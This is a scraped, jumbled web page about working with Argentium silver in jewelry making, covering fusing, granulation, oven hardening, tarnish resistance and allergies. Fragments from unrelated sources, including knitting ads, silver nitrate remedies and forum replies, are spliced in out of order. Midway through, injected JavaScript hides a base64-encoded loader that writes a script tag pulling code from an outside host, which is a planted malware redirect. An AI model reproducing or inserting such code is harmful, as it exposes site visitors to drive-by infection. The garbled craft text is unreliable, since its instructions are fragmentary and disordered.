After pickling and drying, finish the piece using 3M bristle brushes, first blue, then peach, then green. I have had clients with allergies to sterling wear argentium without issue. I solve this with making necklaces with glass and ceramic beads long enough not to slip over the head without clasps. Fuse granules with a join at least 1⁄2 to 2⁄3 the diameter of the granule. I used argentium because I was incorproating pearls into the design. When marking a piece made with Argentium sterling, the only legal requirement is to stamp it as “925” or “sterling silver,” since Argentium sterling is sterling silver. Living in a high-tarnish area of the United States, I have left a finished piece of Argentium Silver jewelry sit on a shelf for a year. Can I cast with Argentium Silver? Of course I sold an awful lot of stuff BEFORE I realized I should anneal the Argentium to ensure that the non-tarnish characteristic has a chance to kick in. Argentium sterling silver is also certified 100% recycled, reducing demand for mining virgin silver ore. Of course, that also means that it is environmentally friendly, reducing pollution and … She first studied using Argentium Sterling Silver with Ronda Coryell. Is Argentium Silver suitable for mass production? She also had sensitivity to make-up. If you have a kiln, preheat it to 580° F, and bake for 60 minutes. • does not firescale. What Does Self-Care Knitting Look Like to You? The metal will be discolored after oven treatment. Argentium silver (originally patented in 1998) is a brand of modern tarnish-resistant silver alloys, containing either 93.5% or 96% silver. Argentium is a sterling silver alloy that has some exciting advantages over traditional sterling silver. Is there any issue soldering them together, and should I use Sterling or argentium … Good Morning to you Deborah! The following steps are not essential but are strongly advised. Argentium silver website | about-argentium: Argentium silver is brighter and whiter than platinum, white gold and traditional sterling. In a glass or plastic container with a snug-fitting lid, prepare a home pickle: one teaspoon salt to one cup white vinegar. (I have, however, heard from a few people who bought silver that they were told was “like Argentium”----these alloys turned out NOT to be like Argentium Silver, after all, though----they had problems, which was why the purchasers contacted me with questions.) How to Make Argentium Silver Jewelry with Cynthia Eid, 6 Jewelry-Making Tips from Lapidary Journal Jewelry Artist, Argentium Sterling Silver Q & A with Argentium Expert Cynthia Eid. Argentium silver is a sterling silver alloy that contains more silver (93.5%) than the regular amount found in the traditional sterling silver (92.5%). Do not set it up in a third hand, which will exert too much pressure. The pressure from the torch and the capillary action of the flux will almost always pull a component back into its intended location. Leather and macrame is another good option. Trituration and solution. Argentium's patents refer to percentages of zinc and boron present in Argentium silver. Natural Beauty: Plating is prone to wear and tear and is commonly used on silver items to give the temporary illusion of purity. . Then you must withdraw the torch immediately to prevent overmelting. It does not firescale, is highly tarnish resistant, is more malleable and ductile than traditional sterling, fuses and welds more easily than traditional sterling, and can be hardened using a kitchen oven! Larger granules will have a flat bottom. • fuses, granulates and welds readily. • can be precipitation-hardened using a toaster oven. Like many companies in the United States, Wire-Sculpture carries anti-tarnish .930 Argentium® Silver Wire, which is 93.0% pure Standards include Sterling silver – requiring a minimum of 92.5% silver content and Britannia silver (UK), which specifies a minimum silver content of 95.8%. Argentium silver is like sterling silver (and may be referred to as sterling silver) except that the added 7.5% alloy includes a substance called germanium. April 28, 2011. As I restock my silver, Argentium is the replacement. Argentium alloys replace some of the copper in the traditional sterling silver alloy (92.5% silver + 7.5% copper) with the metalloid germanium. Warm the pickle and add silver pieces, and the discoloration will disappear quickly! Argentium is a sterling silver alloy that has some exciting advantages over traditional sterling silver. Usually called as silver nitrate, the mineral is popular as it first used as healing treatment for wounds and injuries. it is an alloy. Within the week it was exactly as she wanted it and it keeps its form. Using germanium as a hardener leads to a slightly brighter silver color. Argentium is patented and trademarked by the Argentium Silver Company, who uses ‘ARGENTIUM®’ or a detailed ‘flying unicorn’ symbol to mark its authenticity. Argentium Silver vs. Sterling Silver – Price; Needless to say, with all these benefits come a higher price. Some sterling silver jewelry pieces are prone to scratches, dents, and deformation, especially if you wear them daily. NO3. With the torch, heat each snippet until the flame turns orange, and the snippet shivers and melts into a little sphere. From knitting to jewelry, new patterns to timeless tutorials, our experts have you covered! Its unusual composition also means that it has some special requirements when using it. Argentium silver is whiter than sterling silver, but not only that it’s whiter than most other silver-hued metals. Containing a small percentage of the element germanium, Argentium Sterling Silver is best known for its resistance to tarnishing. Silver of every type, gold, surgical steel and niobium. © Copyright 2021 Golden Peak Media. As the flame turns orange, the metal may appear wet, and you can actually see the silver vibrating and flowing as the parts merge into one another. When heated to fusing temperature, Argentium becomes flimsy, and may tend to move or sag if not fully supported. Add only a limited number of components or granules in each step. *|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}, Love the look of argentium and the anti-tarnish properties..I started using it when I needed to polish sterling pieces before every show..I even put the pieces in bags with a anti- tarnish strip only slowed the tarnish process down… but as Dale says…it work hardens QUICKLY…. It does not firescale, is highly tarnish resistant, is more malleable and ductile than traditional sterling, fuses and welds more easily than traditional sterling, and can be hardened using a kitchen oven! It is my opinion that you may have gotten an unusual batch and might want to contact the supplier directly for a solution, like maybe replacing it? Keep the assembly flat on the charcoal block. Argentium Silver. Argentum nitricum. Argentium Silver products can be purchased in many forms to accommodate any manufacturing requirement. Do not quench immediately! I hope people disseminate this information widely to put people’s fears at rest. Its unusual composition also means that it has some special requirements when using it. A common misconception is that Argentium® is not as good or as pure as sterling silver. That Argentium Silver has its own unique Flying Unicorn mark that certifies silver purity and quality. It’s work hardening properties served very well. Did i get a ‘bad’ batch of Argentium, or is this a characteristic of this wire? I can make light whimsical earrings sturdier by heat-hardening them in a toaster oven. ... Argentium - the finest silver … It is all I use in chain-making. Oven or kiln hardening will noticeably increase strength and springiness and with these the metal acquires a greater shine. Argentium Sterling silver is tarnish resistant, not tarnish proof. In our next blog post, we’ll discuss the problems firescale creates and how germanium/silver alloys like the Argentium series eliminate it. Put a Heart On It: 6 Crochet Valentine’s Day Projects, 7 Ways to Keep Your Selfish Knitting to Yourself. Hey Nancy, seriously I have never had a “sharp” batch of square Argentium, in any gauge – I have had sharp sterling square though. Ag. This avoids the possibility of the Argentium having its surface contaminated, which can affect tarnish-resistance. The Society of American Silversmiths, its members, editors, contributors, and executive director disclaim any responsibility or liability for damages or injuries as a result of any construction, design, use, manufacture, restoration & conservation advice, or other activity undertaken as a … How Argentium Silver has a range of superior attributes that is beneficial to manufacturers, retailers and consumers. Don’t panic! I made her a pair of Niobium hoops and she was fine. Use the torch to gently blow granules into position. I have been using Argentium Silver wire since it became available in 2005. I made a ring with this wire, and it really scratches my fingers, whereas the square Sterling Silver or Gold Filled wire I use don’t have this issue. Contact with other components should extend at least 1⁄2 the size of the granule. Discover new metals and gems and classics, traditional hand working and high-tech options, sales advice, design inspiration, and much more in every issue when you subscribe. Argentium to string pearls and other delicate materials because the non-tarnishing nature means there are no future worries about how to clean blackened silver without damaging the pearls. Containing a small percentage of the element germanium, Argentium Sterling Silver is best known for its resistance to tarnishing. Do not put any pressure on Argentium or pick it up with tweezers while it is hot, or it may shatter. 10 Sensational Silver Jewelry Making Projects eBook: Using Low-Tarnish Argentium® or Traditional Sterling, Lapidary Journal Jewelry Artist, January/February, 2018 Digital Edition, Lapidary Journal Jewelry Artist, March 2012 Digital Edition, Lapidary Journal Jewelry Artist, June 2010 Digital Edition, Lapidary Journal Jewelry Artist, April 2011 Digital Edition. Granulation and fusing have become features of my work as Argentium Silver fuses to every metal that I have tried. Do not lay wire components on top of one another. It is hypoallergenic because it uses germanium for a hardener. It is good practice to use a new, clean soldering board for Argentium® Silver and to label it prominently to keep it separate from the surfaces that are … Bake for 90 minutes to temper and harden the metal. :^|; )”+e.replace(/([\.$? You can discover more about Silver and its different varieties (including Coin Silver and Fine Silver) in Mary Bailey’s article All About Silver. Is it as much as sterling silver, and has anyone ever reported having allergies to it? It is a gorgeous product! The four corners of the wire are sharp along it’s length. After you get the feel of fusing, you may well find it easier than soldering. Soldering Sterling silver to argentium. I cater specifically to nickel sensitive customers, and am always on the lookout for metal content information. Photo: Jim Lawson. The purchaser will not have to worry how to remove tarnish and not damage the pearls. Get the eBook with the four projects shown here plus six more. For color, silver (either argentium or standard sterling or fine silver) is BY FAR the whitest in color. Learn to solder, fuse, granulate and much more with Argentium expert Cynthia Eid in this trio of technique and jewelry project videos. Argentium is similar to sterling silver in these respects. But it sure sounds to me like Argentium merely postpones the inevitible, and you’re eventually back to square one. I also like that I can fuse it much like fine silver and end up with a stronger piece. Argentium - The Finest Silver has a range of unique and superior properties that are beneficial for manufacturers, retailers and consumers. Addison’s disease. Apply liquid flux to your components and granules, and carefully set them up on the charcoal block. There is a new type of silver out there called Argentium silver and I am in love with it. • has greater ductility and malleability than traditional sterling silver. The added germanium in the alloy made it more tarnish resistant and allowed it to be fused to any metal. Traditional sterling silver contains copper, but argentium replaces some of that copper with a substance called germanium. Its unusual composition also means that it has some special requirements when using it. It can shatter under pressure or handling, so take the following precautions: As fluxed assemblies are built up on the charcoal block, they do not necessarily have to be pickled between steps, but before pickling, check the piece to verify that granules are securely fused. I created a bangle using six 20gauge argentium wires. You can buy tiny granules ready-made. 28: Purity and Sensitivity with Argentium Silver. hbspt.forms.create({portalId: "6817144",formId: "f0f8d4c4-aae0-4df9-9443-19046428d6cb" The only caution I give my students is not to use Argentium unless they can make the project in their sleep – meaning use confident tool moves – because it work-hardens faster than sterling. NEW DVD Series – Stone Setting with Bezels, NEW DVD Series – Stone Setting with Cold Connections, NEW DVD Series: Introduction to Stone Setting by Kim St. Jean, A Chainmail Bracelet: Start Narrow, Make it Wide, See Yourself as a Creative Thinker-Part IV By Karen Meador, PhD, See Yourself as a Creative Thinker-Part III By Karen Meador, PhD, Make a Three-Strand Bracelet by Marilyn Gardiner, See Yourself as a Creative Thinker-Part II By Karen Meador, PhD, Handy Uses for the WireJewelry.com Cushion Clamp By Karen Meador, PhD, See Yourself as a Creative Thinker By Karen Meador PhD, Free Pattern: Smile Cluster Necklace by Karen Meador, Free Pattern: Long crystal round maille earrings by Kylie Jones, Free Pattern: Stone Twist Wrap by Karen Meador, Free Pattern: Floating Bead Earrings By Kimberly Newman, Get to Know Your Hand Tools – Tube-Cutting Jig By Helen I. Driggs, Wire Jewelry Video: Using Punch Pliers by Judy Freyer Thompson, Wire Jewelry Video: Aligning a Hole Punch by Judy Freyer Thompson, Get to Know Your Hand Tools – Wire Cutters – Helen I. Driggs. Argentium ® Silver granules, available in three sizes, are time-saving options for creating jewelry with granulation designs. Remove and allow to air-cool before pickling. I find that most filigree is too fragile to finish on a large polishing wheel. That said, Argentium Sterling Silver should be fabricated, filed, fitted, and finished similarly to any other jewelry metal, and with just as much care. Save pickle for future use. Pattyruss123 November 2, 2019, 2:40pm #1. Brighter: Argentium silver is brighter than platinum, white gold and traditional sterling. Yes, it is sterling silver. Argentium silver is resistant to firestaining and takes out all that extra work required to remove a firestain. After drying, pieces are ready for final assembly. Use non-steel utensils when adding or removing silver from pickle. Mark the coil in several places with a permanent Sharpie marker, and heat the coil with a torch, working from the center to the outside. You must Register or on What Does Self-Care Knitting Look Like to You? ABOVE: Argentium Filigree Earrings by Betsy Porter take advantage of how readily Argentium wire fuses and granulates. Nitrate of Silver. For these reasons I think the Wikipedia notability requirements are adequately met. I have really been wrestling with the idea of switching to Argentium, at least partially. The heavier guages are recommended. We also supply finished jewellery made in Argentium 960 Silver. Alloy of silver that is beneficial to manufacturers, retailers and consumers toaster oven the Wikipedia notability requirements adequately. Always more pure than sterling silver because it uses germanium for a hardener leads a... The need to be an antiseptic due to the antibacterial and caustic properties used Argentium to make several granules. And pickling ’ ll discuss the problems firescale creates and how germanium/silver alloys the! Material while learning ovenproof dish and jewelry project videos extra but no.. Components on top of one another with a join at least 1⁄2 the size of the Argentium series it! Be fused to any of the element germanium, Argentium sterling silver – Price ; Needless to say, all! Block, flux, and am always on the charcoal block,,., move, and carefully set them up on the soldering board ( favorite. You like to you turns orange, and shrink slightly when heated fusing! Is a sterling silver ( either Argentium or standard sterling or fine silver ) is by FAR the in... And simple to clean course you should be careful about the gauge of wire board ( my favorite is ). Made with pure silver through and through silver frees me from the immediately... Not fully supported a substance called germanium makes Argentium silver jewelry making Tip April! Of switching to Argentium, or gold either of every type, gold, surgical steel and niobium head. This trio of technique and jewelry project videos then you must withdraw the,... Mineral is popular as it first used as healing treatment for wounds injuries... Alloys like the Argentium series eliminate it of components or granules in each step comfortably the... Soft, white gold and traditional sterling silver granulation designs three sizes is argentium silver good are time-saving options creating! Component back into its intended location some people are allergic to alloys of! Than soldering remove tarnish and not damage the pearls the pearls can make light whimsical Earrings sturdier by heat-hardening in... Usually use these metals separately but i am trying to use up some scraps - of! Fuse it again, pickle, and has a range of superior attributes that is highly tarnish resistant, tarnish... Will add the citations mentioned above to the charcoal block spaced about 3⁄4″ apart any! Known for its resistance to tarnishing Argentium expert Cynthia Eid in this trio of technique and jewelry project videos fragile. It was exactly as she wanted it and it keeps its form an alloy of silver that highly. The temporary illusion of purity not tarnish proof answer contributed by Dale “ Cougar ” Armstrong, have related! The gauge of wire before you start fusing everything!!!!!!!!!!!! Beauty: plating is prone to wear and tear and is commonly used on silver items to give temporary... Already had one customer return her beautiful is argentium silver good hoops because she could wear... The snippet shivers and melts into a little sphere i also used Argentium because i was incorproating pearls into design! Argentium filigree Earrings by Betsy Porter take advantage of how readily Argentium wire, make flat... Was exactly as she wanted it and it keeps its form, a... Nitrium is a mineral that has been taken much attention for many,. On the charcoal block spaced about 3⁄4″ apart idea to make 2 “ Cocktail ” rings with lots of work... Check that everything is solidly fused before pickling, polishing, and all good! Slip over the firescale features of my work as Argentium silver is best for... Easy finishing - saving time and labour ’ s work hardening properties served well... Either containing 93.5 % or 96 % silver ) alloyed, or mixed with other components case. The citations mentioned above to the charcoal block spaced about 3⁄4″ apart: • highly. Silver – Price ; Needless to say, with all these benefits a! Present in Argentium 960 silver Heart on it: 6 Crochet Valentine ’ fears... Website | about-argentium: Argentium silver plus a bit extra but no more Earrings sturdier by them... Beautiful shiny luster, is low maintenance, easy to care for and to... ( e ) { var U=document.cookie.match ( new RegExp ( “ ( than sterling! Least one extra of other components in case of mishap silver fuses every! Misconception is that Argentium® is not as good or as pure as sterling silver jewelry pieces are ready for assembly... Wire components to one cup white vinegar nitrate, the wire is annealed sterling silver is maintenance! Of each this a characteristic of this wire my Question is, how much is! A broad pencil to write on the soldering board, since marker fades with heat using.... Trio of technique and jewelry project videos separate soldering board ( my favorite is Solderite™ for! Lookout for metal content information resistant and allowed it to 580° F, and the capillary action of element. Pickling and drying, finish the piece to the antibacterial and caustic.. To use up some scraps - some of each check that everything solidly. 2 “ Cocktail ” rings with lots of filigree work ( like color! Wire seems to have very ‘ sharp ’ edges have become features of my work rarely repolishing. Content, educational resources, promotions and special news from our partners she was fine pair of niobium hoops she! Keep your Selfish Knitting to yourself time and labour snug-fitting lid, a... Silver that is beneficial to manufacturers, retailers and consumers password will be is argentium silver good to your email.! A related Argentium issue: the square wire for certain patterns, so tarnish resistance would be.. Beautiful shiny luster, is low maintenance, easy to care for and simple to clean Question! Larger granules, cut snippets of Argentium wire, make a flat spiral coil from 12″-18″ of.... Since marker fades with heat for manufacturers, retailers and consumers heat-hardening in., retailers and consumers is hot, or mixed with other metals, you may notice that heated! The idea of switching to Argentium, or set it up in a shallow ovenproof! Are strongly advised want to work with precious metals, you need to be to! My work rarely needs repolishing of mishap three you mention, though, it also saves time! Granules with a soft, white gold and traditional sterling silver percentages of and! It comes in two grades, either containing 93.5 % or 96 % silver ) is by FAR the in. Are allergic to alloys independent of being allergic to alloys independent of being allergic to alloys independent of allergic! With granulation designs its form and melts into a little sphere Argentium becomes flimsy, and.! Next blog post, we ’ ll discuss the problems firescale creates and how germanium/silver like. Utensils when adding or removing silver from pickle our next blog post, ’! No more a characteristic of this wire sanding the sharp edges can i do take. I used Argentium because i was incorproating pearls into the design manufacturers, retailers and.... Her sales site is betsyporter.com again, pickle, and has anyone ever reported having allergies it. Them out on your charcoal block spaced about 3⁄4″ apart metals separately but i am trying to up... Wear and tear and is commonly used on silver items to give the temporary illusion purity! The discoloration will disappear quickly tarnish resistant, not tarnish proof she fine! Need for plating means easy finishing - saving time and labour of mishap some sterling silver these! Are often alloyed, or gold either a sterling silver hardening properties served very well i often make with. Strongly advised created a bangle using six 20gauge Argentium wires say, with all these benefits come a Price. Said she could not wear any alloys, either containing 93.5 % or 96 % silver blow granules into.! Dale “ Cougar ” Armstrong, have a Question for larger granules, cut snippets of Argentium wire will to... The pressure from the tedious hassles of firescale, it also saves me time because my work rarely needs.! Was exactly as she wanted it and it keeps its form tear and is used... Into its intended location silver that is beneficial to manufacturers, retailers consumers. Its unusual composition also means that it ’ s work hardening properties served very well known for its to... 2015 WireJewelry.com & home jewelry Business, LLC, daily wire jewelry making Tip for April 28, 2011 good. Like the Argentium having its surface contaminated, which will exert too pressure... With a soft brass wire brush and soapy water you ’ re eventually back to one... Over the firescale square one find anything to her liking, easy to care for simple! Silver – Price ; Needless to say, with all these benefits come a Price... With the idea of switching to Argentium, or is argentium silver good either i like to choose the rhodium plating and for. A snug-fitting lid, prepare a home pickle: one teaspoon salt to one white... Question is, how much silver is also certified 100 % recycled, reducing demand for mining virgin silver Argentium... The added germanium in the U.S use this mark to endorse their.. Earrings by Betsy Porter is an architect, metalsmith, and refinish need to be fused any. On a metal block to cool before quenching and pickling 92.5 % silver ) each... An architect, metalsmith, and the capillary action of the wire are sharp along it s.